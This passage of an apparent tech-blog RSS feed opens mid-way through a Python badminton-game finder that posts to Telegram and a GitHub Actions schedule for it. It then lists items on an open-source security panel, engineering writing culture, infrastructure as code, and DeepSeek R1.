<span class="giallo-l"><span>        message</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">*</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>i</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">. </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">venue_name</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">*</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        message</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">⏰ </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">start</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);"> - </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">end</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        message</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">👥 Players: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">players</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        message</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">👤 Host: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        message</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">🎯 Skill: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">skill</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        message</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">🔗 [Join Game](https://playo.co/match/</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">id</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">)</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Send the message</span></span>
<span class="giallo-l"><span>    asyncio</span><span>.</span><span>run</span><span>(</span><span>send_telegram_message</span><span>(</span><span>message</span><span>,</span><span> token</span><span>,</span><span> chat_id</span><span>)</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">async</span><span style="color: light-dark(#D73A49, #F47067);"> def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> send_telegram_message</span><span>(</span><span>message</span><span>,</span><span> token</span><span>,</span><span> chat_id</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;&quot;&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Send a message to Telegram using the Bot API.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;&quot;&quot;</span></span>
<span class="giallo-l"><span>    bot</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> Bot</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">token</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span>token</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    await</span><span> bot</span><span>.</span><span>send_message</span><span>(</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">        chat_id</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span>chat_id</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">        text</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span>message</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">        parse_mode</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span>ParseMode</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">MARKDOWN</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">        disable_web_page_preview</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">False</span></span>
<span class="giallo-l"><span>    )</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">if</span><span style="color: light-dark(#005CC5, #6CB6FF);"> __name__</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">__main__</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span></span>
<span class="giallo-l"><span>    find_games</span><span>(</span><span>)</span></span></code></pre>
<p>The script outputs a beautiful output:</p>
<p><img src="https://mrkaran.dev/images/badminton_cli.png" alt="image" /></p>
<p>Telegram:</p>
<p><img src="https://mrkaran.dev/images/badminton_tg.png" alt="image" /></p>
<h2 id="scheduling">Scheduling<a class="zola-anchor" href="#scheduling" aria-label="Anchor link for: scheduling">#</a></h2>
<p>I wanted this script to run reliably every day and used GitHub Actions for that.
GitHub Actions felt like the path of least resistance as I didn’t have to worry about keeping a server running or getting alerts if something crashed. For a small personal script like this, it was the perfect “set it and forget it” solution.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> B</span><span style="color: light-dark(#032F62, #96D0FF);">adminton Game Checker Base</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">on</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">chedule</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Run Monday to Friday at 12:00 PM IST (6:30 AM UTC)</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#22863A, #8DDB8C);"> c</span><span style="color: light-dark(#22863A, #8DDB8C);">ron</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">30 6 * * 1-5</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">j</span><span style="color: light-dark(#22863A, #8DDB8C);">obs</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">heck-games</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    r</span><span style="color: light-dark(#22863A, #8DDB8C);">uns-on</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> u</span><span style="color: light-dark(#032F62, #96D0FF);">buntu-latest</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    e</span><span style="color: light-dark(#22863A, #8DDB8C);">nv</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      T</span><span style="color: light-dark(#22863A, #8DDB8C);">ELEGRAM_BOT_TOKEN</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">{{ secrets.TELEGRAM_BOT_TOKEN }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      T</span><span style="color: light-dark(#22863A, #8DDB8C);">ELEGRAM_CHAT_ID</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">{{ secrets.TELEGRAM_CHAT_ID }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      L</span><span style="color: light-dark(#22863A, #8DDB8C);">ATITUDE</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">{{ inputs.latitude }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      L</span><span style="color: light-dark(#22863A, #8DDB8C);">ONGITUDE</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">{{ inputs.longitude }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      R</span><span style="color: light-dark(#22863A, #8DDB8C);">ADIUS</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">{{ inputs.radius }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      S</span><span style="color: light-dark(#22863A, #8DDB8C);">PORT_ID</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">{{ inputs.sport_id }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      T</span><span style="color: light-dark(#22863A, #8DDB8C);">IMEZONE</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">{{ inputs.timezone }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      S</span><span style="color: light-dark(#22863A, #8DDB8C);">TART_TIME</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">{{ inputs.start_time }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      E</span><span style="color: light-dark(#22863A, #8DDB8C);">ND_TIME</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">{{ inputs.end_time }}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    s</span><span style="color: light-dark(#22863A, #8DDB8C);">teps</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#22863A, #8DDB8C);"> n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> C</span><span style="color: light-dark(#032F62, #96D0FF);">heckout code</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        u</span><span style="color: light-dark(#22863A, #8DDB8C);">ses</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> a</span><span style="color: light-dark(#032F62, #96D0FF);">ctions/checkout@v4</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#22863A, #8DDB8C);"> n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> S</span><span style="color: light-dark(#032F62, #96D0FF);">et up Python</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        u</span><span style="color: light-dark(#22863A, #8DDB8C);">ses</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> a</span><span style="color: light-dark(#032F62, #96D0FF);">ctions/setup-python@v5</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        w</span><span style="color: light-dark(#22863A, #8DDB8C);">ith</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">          p</span><span style="color: light-dark(#22863A, #8DDB8C);">ython-version</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">3.12</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">          c</span><span style="color: light-dark(#22863A, #8DDB8C);">ache</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">pip</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#22863A, #8DDB8C);"> n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> I</span><span style="color: light-dark(#032F62, #96D0FF);">nstall dependencies</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        r</span><span style="color: light-dark(#22863A, #8DDB8C);">un</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> |</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">          python -m pip install --upgrade pip</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">          pip install uv</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#22863A, #8DDB8C);"> n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> R</span><span style="color: light-dark(#032F62, #96D0FF);">un game check</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        r</span><span style="color: light-dark(#22863A, #8DDB8C);">un</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> |</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">          echo &quot;Checking for games from $START_TIME to $END_TIME&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">          uv run finder.py \</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            --lat &quot;$LATITUDE&quot; \</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            --lng &quot;$LONGITUDE&quot; \</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            --radius &quot;$RADIUS&quot; \</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            --sport &quot;$SPORT_ID&quot; \</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            --timezone &quot;$TIMEZONE&quot; \</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            --start-time &quot;$START_TIME&quot; \</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            --end-time &quot;$END_TIME&quot; \</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            --telegram</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        e</span><span style="color: light-dark(#22863A, #8DDB8C);">nv</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">          T</span><span style="color: light-dark(#22863A, #8DDB8C);">ELEGRAM_BOT_TOKEN</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">{{ secrets.TELEGRAM_BOT_TOKEN }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">          T</span><span style="color: light-dark(#22863A, #8DDB8C);">ELEGRAM_CHAT_ID</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">{{ secrets.TELEGRAM_CHAT_ID }}</span></span></code></pre>
<p>I used GitHub Actions inputs to configure the variables for my script. Found this feature to be quite neat for scheduling different crons for weekday/weekends.</p>
<p><img src="https://mrkaran.dev/images/badminton_gh.png" alt="alt text" /></p>
<h2 id="summary">Summary<a class="zola-anchor" href="#summary" aria-label="Anchor link for: summary">#</a></h2>
<p>For small quality-of-life improvements - solving your own specific problems with custom scripts tailored exactly to your needs - gotta love the LLMs man. We’re gonna see more and more of such “personal tooling” in future as the entry to barrier for coding is lowered with LLMs. The democratization of coding through LLMs means people (even non-technical ones) can focus on “describing” the problem well, rather than struggling with implementation details. Being able to articulate what you want clearly becomes the primary skill - yes, it’s a skill issue if you can’t prompt well, but it’s far more accessible than learning programming from scratch.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Open Source Security: The Good, The Bad, The Vulnerable]]></title>
            <link>https://www.divyamohan.com/open-source-security/</link>
            <guid isPermaLink="false">https://www.divyamohan.com/open-source-security/</guid>
            <pubDate>Fri, 28 Feb 2025 04:51:07 GMT</pubDate>
            <description><![CDATA[Open source is the backbone of nearly every application in every industry! As great as this may seem for the movement, it raises important questions about our progress. This panel discussion at the State of Open Conference 2025 explores some of these q's and discusses future implications.]]></description>
            <content:encoded><![CDATA[<h3 id="a-panel-discussion-between-aeva-black-mike-bursell-and-nelson-batsford-at-state-of-open-con-2025-in-london-moderated-by-divya-mohan">A panel discussion between <a href="https://www.linkedin.com/in/aevaonline/" rel="noreferrer">Aeva Black</a>, <a href="https://www.linkedin.com/in/mikebursell/" rel="noreferrer">Mike Bursell</a>, and <a href="https://www.linkedin.com/in/nelson-batsford/?originalSubdomain=uk" rel="noreferrer">Nelson Batsford</a> at <a href="https://stateofopencon.com/schedule-2025/" rel="noreferrer">State of Open Con 2025</a> in London moderated by <a href="https://www.linkedin.com/in/divya-mohan0209/" rel="noreferrer">Divya Mohan</a></h3><h3 id></h3><img src="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2025/02/Open-Source-Security-The-Good--The-Bad--The-Vulnerable.png" alt="Open Source Security: The Good, The Bad, The Vulnerable"><p>The goal of this discussion is two-fold:</p><p>Firstly, supply chain security remains a mystery despite the many tools, frameworks, and ecosystems we&apos;ve built around it - open source and otherwise. Even if we scope our discussion to include only the supply chain security of the open source components we employ in our workloads, how many of us can claim that we truly are aware of all our dependencies &amp; can mitigate all the upstream risks associated with them? Especially in these times when malicious actors are becoming more sophisticated &amp; AI-generated code is becoming the norm? Are these even a part of organisational discussions or considerations while adopting open source tools or technologies today?</p><p>Secondly, how do regulations, for example, the <a href="https://www.european-cyber-resilience-act.com" rel="noreferrer">European Union&apos;s CRA</a>, <a href="https://www.gov.uk/government/collections/cyber-security-and-resilience-bill" rel="noreferrer">UK&#x2019;s Cyber Security and Resilience Bill</a>, etc., impact conversations around supply chain security? Are they helpful in improving the support we extend to the creators and maintainers of the software we depend on? </p><p>With this panel, we aimed to explore some of the upstream and downstream risks associated with open source software security today while also seeking to set the ball rolling on a collaborative dialogue toward addressing some of the current challenges and providing insights into future implications</p><figure class="kg-card kg-embed-card"><iframe width="200" height="113" src="https://www.youtube.com/embed/J82fMRtT5lA?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen title="Open Source Security: The Good, The Bad, The Vulnerable"></iframe></figure>]]></content:encoded>
            <author>Divya Mohan</author>
            <category>Open Source</category>
            <category>tech</category>
            <category>policy</category>
            <enclosure url="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2025/02/Open-Source-Security-The-Good--The-Bad--The-Vulnerable.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Becoming a software A-Team via writing culture]]></title>
            <link>https://www.evalapply.org/posts/writing-practices-to-10x-engineering/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/writing-practices-to-10x-engineering/index.html</guid>
            <pubDate>Fri, 28 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Strong writing culture transforms merely competent software teams into elite ones; those proverbial 10x product builders. Although creating high-leverage  writing culture requries mindful effort, it is not rocket science and one can start small. So... why, when, and how to do it? Personal opinions ahead. Take what is useful, discard the rest.]]></description>
            <content:encoded><![CDATA[Strong writing culture transforms merely competent software teams into elite ones; those proverbial 10x product builders. Although creating high-leverage  writing culture requries mindful effort, it is not rocket science and one can start small. So... why, when, and how to do it? Personal opinions ahead. Take what is useful, discard the rest.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>meta</category>
            <category>whyto</category>
            <category>howto</category>
            <category>writing</category>
            <category>systems</category>
            <category>culture</category>
            <category>tools_for_thought</category>
            <category>programming</category>
        </item>
        <item>
            <title><![CDATA[Systematically Terraforming a Brownfield of Cloud Infrastructure]]></title>
            <link>https://www.evalapply.org/posts/systems-approach-to-infrastructure-as-code/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/systems-approach-to-infrastructure-as-code/index.html</guid>
            <pubDate>Tue, 18 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Some thinking, trade-offs, theory building, and method-making one might ended up doing, in the course of bringing Infrastructure as Code (IaC) discipline to brownfield (and greenfield) services, at a small regulated fintech company, having a smaller engineering team that serves several business units, including one of India's largest national tax gateways. Only somewhat easier than reading a long compound sentence without pausing for breath. Phew.]]></description>
            <content:encoded><![CDATA[Some thinking, trade-offs, theory building, and method-making one might ended up doing, in the course of bringing Infrastructure as Code (IaC) discipline to brownfield (and greenfield) services, at a small regulated fintech company, having a smaller engineering team that serves several business units, including one of India's largest national tax gateways. Only somewhat easier than reading a long compound sentence without pausing for breath. Phew.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>howto</category>
            <category>systems</category>
            <category>infrastructure</category>
            <category>devops</category>
            <category>architecture</category>
        </item>
        <item>
            <title><![CDATA[DeepSeek, AI sovereignty, and India]]></title>
            <link>https://nadh.in/blog/deepseek-ai-sovereignty-india/</link>
            <guid isPermaLink="false">https://nadh.in/blog/deepseek-ai-sovereignty-india/</guid>
            <pubDate>Wed, 29 Jan 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Along came DeepSeek-R1[1] last week, an open-source large language model (LLM) reportedly rivaling OpenAI’s top offerings, sending shockwaves through the industry and generating much excitement in the tech world. It apparently started as a side project at a Chinese hedge fund before being spun out. Its efficacy, combined with claims of being built at a fraction of the cost and hardware requirements, has seriously challenged BigAI’s notion that “foundation models” demand astronomical investments. I have personally been playing around with R1 and have found it to be excellent at writing code. Speaking of foundation models, one rarely hears that term anymore; unsurprising, given that foundation is now commodity. Building a foundation-level LLM was once touted as the cornerstone of AI sovereignty, but that rhetoric has also waned. Much has changed regarding the idea of AI sovereignty.]]></description>
            <content:encoded><![CDATA[<p>Along came DeepSeek-R1<sup><a href="https://techcrunch.com/2025/01/26/deepseek-gets-silicon-valley-talking/">[1]</a></sup> last week, an open-source large language model (LLM) reportedly rivaling OpenAI&rsquo;s top offerings, sending shockwaves through the industry and generating much excitement in the tech world. It apparently started as a side project at a Chinese hedge fund before being spun out. Its efficacy, combined with claims of being built at a fraction of the cost and hardware requirements, has seriously challenged BigAI&rsquo;s notion that “foundation models” demand astronomical investments. I have personally been playing around with R1 and have found it to be excellent at writing code. Speaking of foundation models, one rarely hears that term anymore; unsurprising, given that <em>foundation</em> is now commodity. Building a foundation-level LLM was once touted as the cornerstone of AI sovereignty, but that rhetoric has also waned. Much has changed regarding the idea of AI sovereignty.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[DeepSeek R1: Revolutionizing AI with Open Source and  DeepThinking]]></title>
            <link>https://ibcomputing.com/deepseek-r1/</link>
            <guid isPermaLink="false">https://ibcomputing.com/deepseek-r1/</guid>
            <pubDate>Wed, 22 Jan 2025 17:28:59 GMT</pubDate>
            <description><![CDATA[Artificial intelligence continues to evolve at a rapid pace, and DeepSeek R1 is at the forefront of this transformation. Building on the success of DeepSeek … 
The post DeepSeek R1: Revolutionizing AI with Open Source and  DeepThinking appeared first on IB Computing.]]></description>
            <content:encoded><![CDATA[<p>Artificial intelligence continues to evolve at a rapid pace, and <strong>DeepSeek R1</strong> is at the forefront of this transformation. Building on the success of <strong>DeepSeek V3</strong>, the R1 model introduces groundbreaking features like <strong>DeepThinking</strong>, an advanced reasoning engine designed to enhance problem-solving capabilities. Unlike proprietary systems, DeepSeek R1 is fully <strong>open-source</strong>, released under the <strong>MIT License</strong>, allowing for unrestricted commercial use, modification, and distribution. Combined with its robust API offerings, DeepSeek R1 is poised to redefine how businesses and developers leverage AI for complex tasks.</p>
<p>In this article, we’ll dive into the key features of DeepSeek R1, explore the innovative DeepThinking technology, and discuss how its API integration makes it a game-changer for developers and enterprises.</p>
<hr />
<h2>Use DeepSeek</h2>
<p>Go to <a href="https://chat.deepseek.com" data-wpel-link="external" target="_blank" rel="follow external noopener">chat.deepseek.com  </a>for trying deepseek for free. there is no limit for the usage now. also their api is less costly.</p>
<h2>What is DeepSeek R1?</h2>
<p>DeepSeek R1 is the latest iteration of DeepSeek’s AI language models, designed to tackle even more complex and nuanced tasks. With a focus on <strong>reasoning, contextual understanding, and adaptability</strong>, R1 builds on the strengths of its predecessors while introducing new capabilities that set it apart from competitors like OpenAI’s GPT-4.</p>
<p>Key features of DeepSeek R1 include:</p>
<ul>
<li><strong>DeepThinking</strong>: An advanced reasoning engine that enhances problem-solving and decision-making.</li>
<li><strong>Open-Source Licensing</strong>: Released under the <strong>MIT License</strong>, allowing for free commercial use, modification, and distribution<span class="ds-markdown-cite">1</span><span class="ds-markdown-cite">6</span>.</li>
<li><strong>API Integration</strong>: Seamless integration with existing systems for developers and enterprises.</li>
<li><strong>Scalability</strong>: Designed to handle large-scale applications with ease.</li>
<li><strong>Ethical AI</strong>: Continued focus on reducing biases and promoting inclusivity.</li>
</ul>
<p>&nbsp;</p>
<hr />
<h2>DeepThinking: The Brain Behind DeepSeek R1</h2>
<p>One of the most exciting innovations in DeepSeek R1 is <strong>DeepThinking</strong>, a reasoning engine that enhances the model’s ability to reason, analyze, and solve problems. Unlike traditional AI models that rely on pattern recognition, DeepThinking enables R1 to:</p>
<ol start="1">
<li><strong>Break Down Complex Problems</strong>: DeepThinking allows the model to dissect intricate problems into smaller, manageable components, making it ideal for tasks like coding, research, and strategic planning<span class="ds-markdown-cite">1</span><span class="ds-markdown-cite">4</span>.</li>
<li><strong>Simulate Human-Like Reasoning</strong>: By incorporating advanced algorithms, DeepThinking enables R1 to simulate human-like reasoning, resulting in more accurate and contextually relevant outputs<span class="ds-markdown-cite">11</span>.</li>
<li><strong>Adapt to New Scenarios</strong>: DeepThinking ensures that R1 can adapt to unfamiliar situations, making it a versatile tool for industries like healthcare, finance, and education<span class="ds-markdown-cite">4</span>.</li>
</ol>
<p>For example, in a coding scenario, DeepThinking allows R1 to not only generate code but also debug and optimize it, providing a comprehensive solution that goes beyond basic suggestions</p>
<h2>Open-Source Licensing and Community Impact</h2>
